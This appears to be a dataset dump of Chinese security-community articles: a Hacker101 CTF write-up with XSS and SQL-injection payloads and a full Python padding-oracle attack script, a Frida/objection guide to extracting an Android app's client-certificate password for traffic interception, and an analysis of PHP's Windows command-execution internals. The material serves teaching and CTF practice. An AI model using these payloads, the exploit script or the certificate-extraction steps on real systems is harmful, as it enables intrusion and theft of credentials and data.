text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 玩转Hacker101 CTF（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近打算到hackone上混混，意外的发现了[hack101
CTF](https://ctf.hacker101.com/ctf)这个东东,读了一下说明，貌似是只要在这个CTF中取得一定的分数就会收到hackone平台的私人渗透测试邀请，于是花了点时间完成了4道题，总体感觉题目的质量不错，与实际漏洞结合很紧密，有些点不容易想到，所以本着为想上hackone挖洞的童鞋提供一些便利，投了这篇稿子，并且打算持续更新，下面详述做题过程：
## 第一题A little something to get you started
这个很简单，打开题目链接：
常规思路右键查看网页源代码：
发现可疑的background.png,访问之，得到flag：
## 第二题Micro-CMS v1
这个也不是很难，一共有3个flag，主要考察XSS知识，打开题目链接：
页面上存在3个链接，其中前两个为已经存在的内容页面，第三个链接可以创建新的页面：
第一个页面
第二个页面
第二个页面
首先来看第一个页面，上面有Edit this page链接，点击可以修改页面的标题与内容：
很自然的想到xss，先试试Title，编辑Title为：<scrIpT>alert(/xss/)</sCRipt>
保存，页面是这样的：
到这里可能以为Title这里做了<script>标签的转义，实际上如果我们细心，就会留意到最初的主页上也是有我们的Title的，我们点击Go
Home转到主页，果然发现了弹框：
这样就拿到了这道题的第一个flag，回想一下，刚刚的编辑页面中这样就拿到了这道题的第一个flag，回想一下，刚刚的编辑页面中还有内容框也可能存在xss，我们试一下：
保存后页面是这样的：
很明显，script标签被过滤了，别轻易放弃，换个不需要script的试试：
保存，成功弹框，并且在网页源代码中发现了flag：
这样就拿到了这道题的第二个flag，猜想第三个flag可能与创建页面有关，先建个页面试试，建完以后是这样的
注意到这里的url最后page的参数为10，而刚刚那两个页面的参数为1和2，那么中间的数值去哪了呢？用burpsuite抓包，用Intruder功能访问这些页面：
可以看到GET
/efa8a59c80/page/6时，返回的状态码为403而不是404，说明这个页面存在，但是我们没有权限访问，仔细回想，每个页面除了展示页面外还有编辑页面，这里page/6的展示页面我们没有权限访问，那么它的编辑页面会不会可以直接访问呢？通过观察前面两个页面的编辑页面的url，我们可以猜测page/6的编辑页面为page/edit/6,访问它：
就拿到了此题的第三个flag
## 第三题Micro-CMS v2
此题难度稍有提升，主要考察sql注入知识，打开主页如下：
页面布局与上一题基本一样，不同的是所有的页面点击后都需要登陆：
随便输入一个不常用的用户名及密码，点击Log In,页面反馈如下：
提示为Unknown user，我们先记着这个反馈回来的字符串
然后输入用户名adminsb’ or ‘’=’,密码adminsb’ or ‘’=’,点击Log In,页面反馈如下：
这次反馈为Invalid password,说明用户名adminsb’ or
‘’=’虽然不存在但是却被判断为合法的用户名，所以依据反馈的不同可以进行布尔注入，而且可以猜想后台sql语句可能是类似下面这样的：
......
$result = $db->query(select password from users where username='$username');
if($result['password'] == $password)
login_success();
......
利用burpsuite抓下post登陆包，保存为1.txt,将username参数的值标注为*，放到sqlmap中注入：
最终拿到用户名及密码：
回到登录页面登录，拿到flag：
看了一下这道题的提示，这个flag居然是flag2，flag0和flag1都还没有拿到，其中flag0给了这样一条提示：
`Getting admin access might require a more perfect union`
``结合刚刚猜测的后台sql逻辑，很容易想到以
用户名:adminsb' union select '123456
用户名:123456
尝试登录,果然不出所料，成功登陆，页面跳转：
flag就在Private Page里：
这样就拿到了flag0，
那么flag1呢，看了一下提示：
What actions could you perform as a regular user on the last level, which you can't now?
Just because request fails with one method doesn't mean it will fail with a different method
Different requests often have different required authorization
貌似是要用不同的请求方法去请求原本访问不了的页面，刚刚的Private
page的url为page/3,其编辑页面为page/edit/3，这两个页面都是需要登陆才能访问的，我们依照提示换一下请求方法为POST，成功获取了flag1：
## 第四题Encrypted Pastebin
这个题就厉害了，与密码学结合很紧密，打开页面如下：
依照描述这是一个加密保存用户文本的web应用，加密方法使用AES-128，我们来试一试，在Tiltle以及内容框中分别输入一段信息，点击post,网页发生跳转：
可以看到，服务器仅仅通过url中的信息就还原出了我们刚刚输入的文本，所以这里我猜想有两种可能性：
我们输入的信息被加密保存在了url的post参数中，服务器接收后直接解密返回给浏览器。
我们输入的信息被保存在了服务器的数据库中，post参数只是加密后的索引值，服务器解密这个索引值后再到数据库中取出数据，返回给浏览器。
那么哪种才是正确的呢，如果你学过密码学我们应该清楚，如果加密前的明文信息量越大，那么密文的信息量肯定也越大，否则必然会导致信息丢失，那么如果是上面第一种可能，我们尝试增大文本量，那么post参数的值肯定也越长，我们来验证一下，抓下编辑文本的数据包：
不断增大body的内容：
可以发现返回的url中的post参数长度并没有变化，这就推翻了第一种可能性，所以post参数的值很可能是加密后的数据库索引，看来这道题需要我们想办法破解密文。
在抓包点击Follow redirection跟踪跳转：
尝试随意删改url中的post参数,居然爆出了第一个flag！
同时，爆出了一些后台处理逻辑：
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 46, in decryptLink
data = b64d(data)
File "./common.py", line 11, in <lambda>
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
File "/usr/local/lib/python2.7/base64.py", line 328, in decodestring
return binascii.a2b_base64(s)
Error: Incorrect padding
从以上报错我们可以得出下列信息：
后台脚本为python(这个知道了貌似没啥用)
url的post参数为一串处理过的base64值，处理逻辑为：
x.replace('~', '=').replace('!', '/').replace('-', '+')
另外，我们从主页中可以得知加密算法为AES-128，那么其密文数据块大小应该是16字节，那么如果我们将post参数改为小于16个字节会怎么样呢？我们来试一下：
看，又有新的报错（注意为了不发生base64解码错误，这里post的值必须在结尾加上两个~~，也就是替换后的==,），新的报错信息如下：
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 48, in decryptLink
cipher = AES.new(staticKey, AES.MODE_CBC, iv)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 95, in new
return AESCipher(key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/AES.py", line 59, in __init__
blockalgo.BlockAlgo.__init__(self, _AES, key, *args, **kwargs)
File "/usr/local/lib/python2.7/site-packages/Crypto/Cipher/blockalgo.py", line 141, in __init__
self._cipher = factory.new(key, *args, **kwargs)
ValueError: IV must be 16 bytes long
从上述报错中我们可以得到下列信息：
加密用的AES算法模式为CBC，密钥为staticKey，应该配置在服务端
CBC模式使用的iv就在post参数中，iv的长度为16字节，而且应该就是post参数base64解码后的前16个字节
我们尝试构造一个长度合法的密文：
放到post参数中发送：
又产生了新的报错：
Traceback (most recent call last):
File "./main.py", line 69, in index
post = json.loads(decryptLink(postCt).decode('utf8'))
File "./common.py", line 49, in decryptLink
return unpad(cipher.decrypt(data))
File "./common.py", line 22, in unpad
raise PaddingException()
PaddingException
注意这里触发了AES解密函数的PaddingException异常，到这里，已经满足了Padding Oracle Attack的必要条件：
攻击者能够获得密文（ciphertext），以及密文对应的IV（初始化向量）
攻击者能够触发密文的解密过程，且能够知道密文的解密结果
关于Padding Oracle Attack，是一个一言难尽的话题，这两篇文章讲的比较清楚：
[传送门1](https://www.cnblogs.com/LittleHann/p/3391393.html)
[传送门2](https://www.cnblogs.com/zlhff/p/5519175.html)
简而言之，就是不断调整iv使其能够返回正确的解密结果从而推断出明文，废话不多说，展示一下花了一天时间整出来的渣渣代码：
#coding=utf-8
import base64,requests,re,threading,json
def my_xor2(str1,str2):
new_str = ""
for i in range(len(str1)):
new_str = new_str + chr(ord(str1[i])^ord(str2[i]))
return new_str
def is_padding_right(url):
r = requests.get(url)
if key_str not in r.text:
print r.text
return True
else:
return False
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
b64e = lambda x: base64.encodestring(x).replace('=','~').replace('/','!').replace('+','-')
def attack(block_index):
iv = cipher_blocks[block_index]
cipher = cipher_blocks[block_index+1]
iv_chs = [iv[i:i+1] for i in range(0,len(iv),1)] #拆分iv为数组便于处理
iv_index = 15
m_value = ['a']*16 #用于存储中间值
while(iv_index > -1):
if iv_index != 15:
for temp in range(iv_index+1,16):
iv_chs[temp] = chr(ord(m_value[temp]) ^ (16 - iv_index)) #更新iv
for num in range(256):
iv_chs[iv_index] = chr(num)
data = ""
data = data.join(iv_chs)
data = data + cipher
new_url = ""
new_url = url + b64e(data)
#print new_url
if is_padding_right(new_url):
m_value[iv_index] = chr(num^(16-iv_index))
break
iv_index = iv_index - 1
print "block_index:",block_index,"[iv_index:",iv_index*"#","]"
m_value_str = ""
m_value_str = m_value_str.join(m_value)
plain[block_index] = my_xor2(m_value_str,iv)
print "Get plain block:#",block_index,":",plain[block_index]
url = "http://35.190.155.168/ebe58e9d6e/?post="
example = "w4N2JrPqWa7ZO8IVMiJMx3Zv6QqPJ1C1KVjIyLDkP1OFTbLI16Xc8KGetNaEx6L!02QDVwicF8Eoy6387pdyjTbe6c6q3hZRXbArGQIpmmT9KQW0!Yj5KGLDJA96iscGvKZ2G3SvGVhASFSpyiLrVYHhXL0UKzbr1BtCAOHdlxTKgcM5taNouOyclY8feTbPguDnqHqhibyVnw55RChVqA~~"
key_str = "PaddingException"
str = b64d(example)
cipher_blocks = [str[i:i+16] for i in range(0,len(str),16)]
if(len(cipher_blocks) < 2):
print "ERROR,you should at least have 2 blocks!"
exit()
threads = []
for i in range(9): #密文一共有9块,所以开9个线程
t = threading.Thread(target=attack,args=(i,))
threads.append(t)
plain = ["a"]*9 #明文一共9块
for t in threads:
t.setDaemon(True)
t.start()
for t in threads:
t.join()
plain_text = ""
plain_text = plain_text.join(plain)
print "result plain:",plain_text
经测试在美帝的vps上跑，大约10分钟就可以出结果。
最终结果：
result plain: {"flag": "^FLAG^ddee16a603148f1d230889fc3e85e53e3b3792095b9d5f3987046f22a63e9cdf$FLAG$", "id": "3", "key": "0vGaWMGLxVgY-IAm5ZWhfQ~~"}
这样第二个flag就拿到了。这道题还有第三、第四个flag，我没有继续做下去，因为至此已经获取了足够的分数可以参与私人渗透请求了，不过我可以给想继续做下去的童鞋两点思路：
上面解出的明文中id为"3"，可以通过修改前一块密文的对应字节，使之变为"1",因为我记得只向数据库中插入了两条记录，那么id为"1"到底是什么呢，我猜很可能就是flag。
在跑上面的脚本过程中，我发现一条有意思的报错：
Traceback (most recent call last):
File "./main.py", line 71, in index
if cur.execute('SELECT title, body FROM posts WHERE id=%s' % post['id']) == 0:
TypeError: 'int' object has no attribute '__getitem__'
注意这里的sql语句，想到了什么，对！就是注入，如果我们让解密出来的明文中的id值为”-1 union select
database(),user()”那么sql语句就会变为：
SELECT title, body FROM posts WHERE id=-1 union select database(),user()
数据库信息就会回显在页面中，所以这里还可以进行sql注入，只不过payload需要用padding oracle
attack的办法进行加密，不过这个想想都掉头发，我头发少，就留给你们了（笑）！
那么就让我们开始愉快地挖洞吧！ | 社区文章 |
# Frida自吐证书密码
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 双向认证APP自吐密码
在许多业务非常聚焦比如行业应用、银行、公共交通、游戏等行业，C/S架构中服务器高度集中，对应用的版本控制非常严格，这时候就会在服务器上部署对app内置证书的校验代码。
抓包出现如下提示时，我们确定出此APP为服务器校验app客户端证书
对于此类APP抓包而言通常需要完成两项内容：
找到证书文件
找到证书密码
服务器对客户端进行校验过程中，客户端将证书公钥发送给服务器，以及从服务器获取session和私钥解密过程中，需要API进行操作，API存在于java层框架内，所以hook框架层代码`java.security.KeyStore`，使密码自吐
# frida -U -f cn.soulapp.android -l ssl.js –no-pause
密码}%2R+\OSsjpP!w%X
然后首先使用常规方式解压搜索app包里的证书文件。一般apk进行解包，直接过滤搜索后缀名为p12的文件即可，一般常用的命令为tree -NCfhl
|grep -i p12，直接打印出p12文件的路径.
如果在安装包内找不到证书的话，也可以进行hook`java.io.File`
# android hooking watch class_method java.io.File.$
init
通过hook也可以找到该证书文件。
# objection -g cn.soulapp.android explore –startup-command “android hooking
watch class_method java.io.File.$init –dump-args”
使用抓包工具点击导入证书
密码随意设置
然后进去之后导入p12证书和密码（自吐出的密码），host和port输入*
可以看到可以成功抓到了数据包
## hook抓包
1、首先确定使用的框架，主流框架okhttp、HttpURLconnection
使用objection打印内存中所有的类
# android hooking list classes
然后搜索过滤类文件中值得怀疑的框架
.objection # cat objection.log |grep -i volley
.objection # cat objection.log |grep -i okhttp
.objection # cat objection.log |grep -i
找到APP使用的框架后，最后通过frida加载js脚本来进行绕过。
## ZenTracer
批量hook查看调用轨迹的工具ZenTracer
# git clone https://github.com/hluwa/ZenTracer
点击Action之后，会出现匹配模板（Match RegEx）和过滤模板（Black
RegEx）,将`M:java.net.HttpURLConnection`填入后会将该类的所有方法进行hook并运行
同时手机点击登录、注册等功能模块时，发现经过了该方法`java.net.HttpURLConnection.getFollowRedirects()`：
然后使用`objection`hook该方法
# android hooking watch class_method
java.net.HttpURLConnection.getFollowRedirects –dump
-args –dump-return –dump-backtrace
根据打印出的`com.cz.babySister.c.a.a(HttpClients.java:22)`
直接定位到了收发包函数的地址，然后查看收发包的内容如下：
# android hooking watch class_method com.cz.babySister.c.a.a –dump-args –dump-backtrace –dump-return
## 强混淆APP
使用工具OkHttpLogger-Frida
1、首先将okhttpfind.dex 拷贝到手机 /data/local/tmp/目录下
# adb push okhttpfind.dex /data/local/tmp/
# chmod 777 *
2、执行命令启动frida -U -l okhttp_poker.js -f com.example.demo –no-pause 可追加 -o
[output filepath]保存到文件
# frida -U -l okhttp_poker.js -f org.sfjboldyvukzzlpp –no-pause
然后复制被混淆后的类名，粘贴到okhttp_poker.js文件中，重新运行后运行`hold()`开启hook拦截，然后操作App后，会出现拦截的内容如下
# nano okhttp_poker.js
当然除了ZenTracer，也可以直接使用objection工具进行批量hook，
首先将怀疑的类复制保存到文件中，并在保存内容前加上`android hooking watch class`
# android hooking list classes
# objection -g com.cz.babySister explore -c “/root/Desktop/2.txt”
## 参考资料
<https://www.anquanke.com/post/id/197657>
<https://bbs.pediy.com/thread-258776.html> | 社区文章 |
# 命令执行底层原理探究-PHP（三）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
针对不同平台/语言下的命令执行是不相同的，存在很大的差异性。因此，这里对不同平台/语言下的命令执行函数进行深入的探究分析。
文章开头会对不同平台(Linux、Windows)下：终端的指令执行、语言(PHP、Java、Python)的命令执行进行介绍分析。后面，主要以PHP语言为对象，针对不同平台，对命令执行函数进行底层深入分析，这个过程包括：环境准备、PHP内核源码的编译、运行、调试、审计等，其它语言分析原理思路类似。
该系列分析文章主要分为四部分，如下：
* 第一部分：命令执行底层原理探究-PHP (一)
针对不同平台(Linux、Windows)下：终端的指令执行、语言(PHP、Java、Python)的命令执行进行介绍分析。
* 第二部分：命令执行底层原理探究-PHP (二)
主要以PHP语言为对象，针对不同平台，进行环境准备、PHP内核源码的编译、运行、调试等。
* 第三部分：命令执行底层原理探究-PHP (三)
针对Windows平台下，PHP命令执行函数的底层原理分析。
* 第四部分：命令执行底层原理探究-PHP (四)
针对Linux平台下，PHP命令执行函数的底层原理分析。
本文 **《 命令执行底层原理探究-PHP (三) 》** 主要讲述的是第三部分：针对Windows平台下，PHP命令执行函数的底层原理分析。
## PHP for Windows
针对Windows平台下：PHP命令执行函数的底层分析。
### 命令执行底层分析
针对命令执行函数的底层分析，这里主要采用两种手段去分析：静态审计(静态审计内核源码)、动态审计(动态调试内核源码)。
#### 静态审计
PHP命令执行函数有很多
system
exec
passthru
shell_exec
proc_open
popen
pcntl_exec
escapeshellarg
escapeshellcmd
、、、、
大部分命令执行函数于`ext/standard/exec.c`源码中实现
/* {{{ proto string exec(string command [, array &output [, int &return_value]])
Execute an external program */
PHP_FUNCTION(exec)
{
php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
/* }}} */
/* {{{ proto int system(string command [, int &return_value])
Execute an external program and display output */
PHP_FUNCTION(system)
{
php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);
}
/* }}} */
/* {{{ proto void passthru(string command [, int &return_value])
Execute an external program and display raw output */
PHP_FUNCTION(passthru)
{
php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 3);
}
/* }}} */
/* {{{ proto string shell_exec(string cmd)
Execute command via shell and return complete output as string */
PHP_FUNCTION(shell_exec)
{
FILE *in;
char *command;
size_t command_len;
zend_string *ret;
php_stream *stream;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STRING(command, command_len)
ZEND_PARSE_PARAMETERS_END();
#ifdef PHP_WIN32
if ((in=VCWD_POPEN(command, "rt"))==NULL) {
#else
if ((in=VCWD_POPEN(command, "r"))==NULL) {
#endif
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command);
RETURN_FALSE;
}
stream = php_stream_fopen_from_pipe(in, "rb");
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
php_stream_close(stream);
if (ret && ZSTR_LEN(ret) > 0) {
RETVAL_STR(ret);
}
}
/* }}} */
观察上面代码部分，可以发现`system、exec、passthru`这三个命令执行函数调用函数一样，皆为`php_exec_ex()`函数，不同点只在于调用函数的第二个参数`mode`不同`0、1、3`作为标识。而`shell_exec`函数则是调用`VCWD_POPEN()`函数去实现。
下面以`system()`命令执行函数执行`whoami`指令为例：
system('whoami');
借助源码审查工具`Source Insight`【导入`php7.2.9`源码项目】进行底层函数跟踪分析
首先找到php中system()函数声明处：`ext\standard\exec.c:263`
PHP_FUNCTION(system)
{
php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);
}
很明显system函数由`php_exec_ex()`函数实现，跟进同文件下找到`php_exec_ex()`函数实现【 **在`Source
Insight`下面可以使用Ctrl+鼠标左键点击定位函数位置**】：`ext\standard\exec.c:209`
static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode) /* {{{ */
{
char *cmd;
size_t cmd_len;
zval *ret_code=NULL, *ret_array=NULL;
int ret;
ZEND_PARSE_PARAMETERS_START(1, (mode ? 2 : 3))
Z_PARAM_STRING(cmd, cmd_len)
Z_PARAM_OPTIONAL
if (!mode) {
Z_PARAM_ZVAL_DEREF(ret_array)
}
Z_PARAM_ZVAL_DEREF(ret_code)
ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE);
if (!cmd_len) {
php_error_docref(NULL, E_WARNING, "Cannot execute a blank command");
RETURN_FALSE;
}
if (strlen(cmd) != cmd_len) {
php_error_docref(NULL, E_WARNING, "NULL byte detected. Possible attack");
RETURN_FALSE;
}
if (!ret_array) {
ret = php_exec(mode, cmd, NULL, return_value);
} else {
if (Z_TYPE_P(ret_array) != IS_ARRAY) {
zval_ptr_dtor(ret_array);
array_init(ret_array);
} else if (Z_REFCOUNT_P(ret_array) > 1) {
zval_ptr_dtor(ret_array);
ZVAL_ARR(ret_array, zend_array_dup(Z_ARR_P(ret_array)));
}
ret = php_exec(2, cmd, ret_array, return_value);
}
if (ret_code) {
zval_ptr_dtor(ret_code);
ZVAL_LONG(ret_code, ret);
}
}
/* }}} */
阅读`php_exec_ex()`函数实现，会对cmd参数进行初始化处理，然后调用`php_exec(mode, cmd, NULL,
return_value)`函数，mode为不同执行函数标识、cmd为指令参数。
跟踪`php_exec()`函数调用：`ext\standard\exec.c:97`
/* {{{ php_exec
* If type==0, only last line of output is returned (exec)
* If type==1, all lines will be printed and last lined returned (system)
* If type==2, all lines will be saved to given array (exec with &$array)
* If type==3, output will be printed binary, no lines will be saved or returned (passthru)
*
*/
PHPAPI int php_exec(int type, char *cmd, zval *array, zval *return_value)
{
FILE *fp;
char *buf;
size_t l = 0;
int pclose_return;
char *b, *d=NULL;
php_stream *stream;
size_t buflen, bufl = 0;
#if PHP_SIGCHILD
void (*sig_handler)() = NULL;
#endif
#if PHP_SIGCHILD
sig_handler = signal (SIGCHLD, SIG_DFL);
#endif
#ifdef PHP_WIN32
fp = VCWD_POPEN(cmd, "rb");
#else
fp = VCWD_POPEN(cmd, "r");
#endif
if (!fp) {
php_error_docref(NULL, E_WARNING, "Unable to fork [%s]", cmd);
goto err;
}
stream = php_stream_fopen_from_pipe(fp, "rb");
buf = (char *) emalloc(EXEC_INPUT_BUF);
buflen = EXEC_INPUT_BUF;
if (type != 3) {
b = buf;
while (php_stream_get_line(stream, b, EXEC_INPUT_BUF, &bufl)) {
/* no new line found, let's read some more */
if (b[bufl - 1] != '\n' && !php_stream_eof(stream)) {
if (buflen < (bufl + (b - buf) + EXEC_INPUT_BUF)) {
bufl += b - buf;
buflen = bufl + EXEC_INPUT_BUF;
buf = erealloc(buf, buflen);
b = buf + bufl;
} else {
b += bufl;
}
continue;
} else if (b != buf) {
bufl += b - buf;
}
if (type == 1) {
PHPWRITE(buf, bufl);
if (php_output_get_level() < 1) {
sapi_flush();
}
} else if (type == 2) {
/* strip trailing whitespaces */
l = bufl;
while (l-- > 0 && isspace(((unsigned char *)buf)[l]));
if (l != (bufl - 1)) {
bufl = l + 1;
buf[bufl] = '\0';
}
add_next_index_stringl(array, buf, bufl);
}
b = buf;
}
if (bufl) {
/* strip trailing whitespaces if we have not done so already */
if ((type == 2 && buf != b) || type != 2) {
l = bufl;
while (l-- > 0 && isspace(((unsigned char *)buf)[l]));
if (l != (bufl - 1)) {
bufl = l + 1;
buf[bufl] = '\0';
}
if (type == 2) {
add_next_index_stringl(array, buf, bufl);
}
}
/* Return last line from the shell command */
RETVAL_STRINGL(buf, bufl);
} else { /* should return NULL, but for BC we return "" */
RETVAL_EMPTY_STRING();
}
} else {
while((bufl = php_stream_read(stream, buf, EXEC_INPUT_BUF)) > 0) {
PHPWRITE(buf, bufl);
}
}
pclose_return = php_stream_close(stream);
efree(buf);
done:
#if PHP_SIGCHILD
if (sig_handler) {
signal(SIGCHLD, sig_handler);
}
#endif
if (d) {
efree(d);
}
return pclose_return;
err:
pclose_return = -1;
goto done;
}
/* }}} */
审计`int php_exec(int type, char *cmd, zval *array, zval
*return_value)`函数代码，发现函数内部会首先调用`VCWD_POPEN()`函数去处理`cmd`指令【
**在这里不难发现该部分函数`VCWD_POPEN()`调用同`shell_exec()`可执行函数实现原理相同，也就说明`system、exec、passthru、shell_exec`这类命令执行函数原理相同，底层都调用了相同函数`VCWD_POPEN()`去执行系统指令**】。
这里的`VCWD_POPEN()`函数调用会通过相应的平台去执行：PHP_WIN32为Windows平台、另一个为`Unix`平台
#ifdef PHP_WIN32
fp = VCWD_POPEN(cmd, "rb");
#else
fp = VCWD_POPEN(cmd, "r");
#endif
进入`VCWD_POPEN(cmd, "rb")`函数： `Zend\zend_virtual_cwd.h:269`
#define VCWD_POPEN(command, type) virtual_popen(command, type)
由于`VCWD_POPEN`函数为`virtual_popen`实现，直接进入`virtual_popen()`函数实现：`Zend\zend_virtual_cwd.c:1831`
#ifdef ZEND_WIN32
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
return popen_ex(command, type, CWDG(cwd).cwd, NULL);
}
/* }}} */
#else /* Unix */
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
size_t command_length;
int dir_length, extra = 0;
char *command_line;
char *ptr, *dir;
FILE *retval;
command_length = strlen(command);
dir_length = CWDG(cwd).cwd_length;
dir = CWDG(cwd).cwd;
while (dir_length > 0) {
if (*dir == '\'') extra+=3;
dir++;
dir_length--;
}
dir_length = CWDG(cwd).cwd_length;
dir = CWDG(cwd).cwd;
ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);
memcpy(ptr, "cd ", sizeof("cd ")-1);
ptr += sizeof("cd ")-1;
if (CWDG(cwd).cwd_length == 0) {
*ptr++ = DEFAULT_SLASH;
} else {
*ptr++ = '\'';
while (dir_length > 0) {
switch (*dir) {
case '\'':
*ptr++ = '\'';
*ptr++ = '\\';
*ptr++ = '\'';
/* fall-through */
default:
*ptr++ = *dir;
}
dir++;
dir_length--;
}
*ptr++ = '\'';
}
*ptr++ = ' ';
*ptr++ = ';';
*ptr++ = ' ';
memcpy(ptr, command, command_length+1);
retval = popen(command_line, type);
efree(command_line);
return retval;
}
/* }}} */
#endif
不难发现，针对`virtual_popen()`函数实现，也存在于不同平台，这里主要分析Windows平台，针对Unix平台在下面`PHP for
Linux`部分会详细讲述。
针对`Windows`平台，`virtual_popen()`函数实现非常简单，直接调用`popen_ex()`函数进行返回。
进入`popen_ex()`函数实现：`TSRM\tsrm_win32.c:473`
TSRM_API FILE *popen_ex(const char *command, const char *type, const char *cwd, char *env)
{/*{{{*/
FILE *stream = NULL;
int fno, type_len, read, mode;
STARTUPINFOW startup;
PROCESS_INFORMATION process;
SECURITY_ATTRIBUTES security;
HANDLE in, out;
DWORD dwCreateFlags = 0;
BOOL res;
process_pair *proc;
char *cmd = NULL;
wchar_t *cmdw = NULL, *cwdw = NULL, *envw = NULL;
int i;
char *ptype = (char *)type;
HANDLE thread_token = NULL;
HANDLE token_user = NULL;
BOOL asuser = TRUE;
if (!type) {
return NULL;
}
/*The following two checks can be removed once we drop XP support */
type_len = (int)strlen(type);
if (type_len <1 || type_len > 2) {
return NULL;
}
for (i=0; i < type_len; i++) {
if (!(*ptype == 'r' || *ptype == 'w' || *ptype == 'b' || *ptype == 't')) {
return NULL;
}
ptype++;
}
cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c ")+2);
if (!cmd) {
return NULL;
}
sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);
cmdw = php_win32_cp_any_to_w(cmd);
if (!cmdw) {
free(cmd);
return NULL;
}
if (cwd) {
cwdw = php_win32_ioutil_any_to_w(cwd);
if (!cwdw) {
free(cmd);
free(cmdw);
return NULL;
}
}
security.nLength = sizeof(SECURITY_ATTRIBUTES);
security.bInheritHandle = TRUE;
security.lpSecurityDescriptor = NULL;
if (!type_len || !CreatePipe(&in, &out, &security, 2048L)) {
free(cmdw);
free(cwdw);
free(cmd);
return NULL;
}
memset(&startup, 0, sizeof(STARTUPINFOW));
memset(&process, 0, sizeof(PROCESS_INFORMATION));
startup.cb = sizeof(STARTUPINFOW);
startup.dwFlags = STARTF_USESTDHANDLES;
startup.hStdError = GetStdHandle(STD_ERROR_HANDLE);
read = (type[0] == 'r') ? TRUE : FALSE;
mode = ((type_len == 2) && (type[1] == 'b')) ? O_BINARY : O_TEXT;
if (read) {
in = dupHandle(in, FALSE);
startup.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
startup.hStdOutput = out;
} else {
out = dupHandle(out, FALSE);
startup.hStdInput = in;
startup.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
}
dwCreateFlags = NORMAL_PRIORITY_CLASS;
if (strcmp(sapi_module.name, "cli") != 0) {
dwCreateFlags |= CREATE_NO_WINDOW;
}
/* Get a token with the impersonated user. */
if(OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &thread_token)) {
DuplicateTokenEx(thread_token, MAXIMUM_ALLOWED, &security, SecurityImpersonation, TokenPrimary, &token_user);
} else {
DWORD err = GetLastError();
if (err == ERROR_NO_TOKEN) {
asuser = FALSE;
}
}
envw = php_win32_cp_env_any_to_w(env);
if (envw) {
dwCreateFlags |= CREATE_UNICODE_ENVIRONMENT;
} else {
if (env) {
free(cmd);
free(cmdw);
free(cwdw);
return NULL;
}
}
if (asuser) {
res = CreateProcessAsUserW(token_user, NULL, cmdw, &security, &security, security.bInheritHandle, dwCreateFlags, envw, cwdw, &startup, &process);
CloseHandle(token_user);
} else {
res = CreateProcessW(NULL, cmdw, &security, &security, security.bInheritHandle, dwCreateFlags, envw, cwdw, &startup, &process);
}
free(cmd);
free(cmdw);
free(cwdw);
free(envw);
if (!res) {
return NULL;
}
CloseHandle(process.hThread);
proc = process_get(NULL);
if (read) {
fno = _open_osfhandle((tsrm_intptr_t)in, _O_RDONLY | mode);
CloseHandle(out);
} else {
fno = _open_osfhandle((tsrm_intptr_t)out, _O_WRONLY | mode);
CloseHandle(in);
}
stream = _fdopen(fno, type);
proc->prochnd = process.hProcess;
proc->stream = stream;
return stream;
}/*}}}*/
从`TSRM\tsrm_win32.c`文件不难发现，由`virtual_popen()`函数不同平台到`popen_ex()`函数可知，`virtual_popen()`函数是作为不同平台的分割点，此时的调用链已经到了仅和windows平台有联系。
接着对`*popen_ex()`函数进行分析，参数：`command`为指令参数、`cwd`为当前工作目录、`env`为环境变量信息。
为cmd变量动态分配空间：这里不得不说把cmd变量的空间分配的刚刚好
cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c ")+2);
分配空间后，为cmd变量赋值
sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);
=> cmd = "cmd.exe /c whoami"
这部分其实在PHP官方手册的[可执行函数](https://www.php.net/function.exec)中也有说明
到这里也就会发现`system、exec、passthru、shell_exec`这类命令执行函数底层都会调用系统终端`cmd.exe`来执行传入的指令参数。那么既然会调用系统cmd，就要将cmd进程启动起来。
继续向后分析`*popen_ex()`函数，会找到相关Windows系统API来启动`cmd.exe`进程，然后由cmd进程执行指令参数(内部|外部指令)。
if (asuser) {
res = CreateProcessAsUserW(token_user, NULL, cmdw, &security, &security, security.bInheritHandle, dwCreateFlags, envw, cwdw, &startup, &process);
CloseHandle(token_user);
} else {
res = CreateProcessW(NULL, cmdw, &security, &security, security.bInheritHandle, dwCreateFlags, envw, cwdw, &startup, &process);
}
> 在 Windows 平台上，创建进程有
> `WinExec`，`system`，`_spawn/_wspawn`，`CreateProcess`，`ShellExecute`
> 等多种途径，但上述函数基本上还是由 `CreateProcess Family` 封装的。在 Windows 使用 `C/C++` 创建进程应当优先使用
> `CreateProcess`，`CreateProcess`有三个变体，主要是为了支持以其他权限启动进程， `CreateProcess`
> 及其变体如下：
Function | Feature | Details
---|---|---
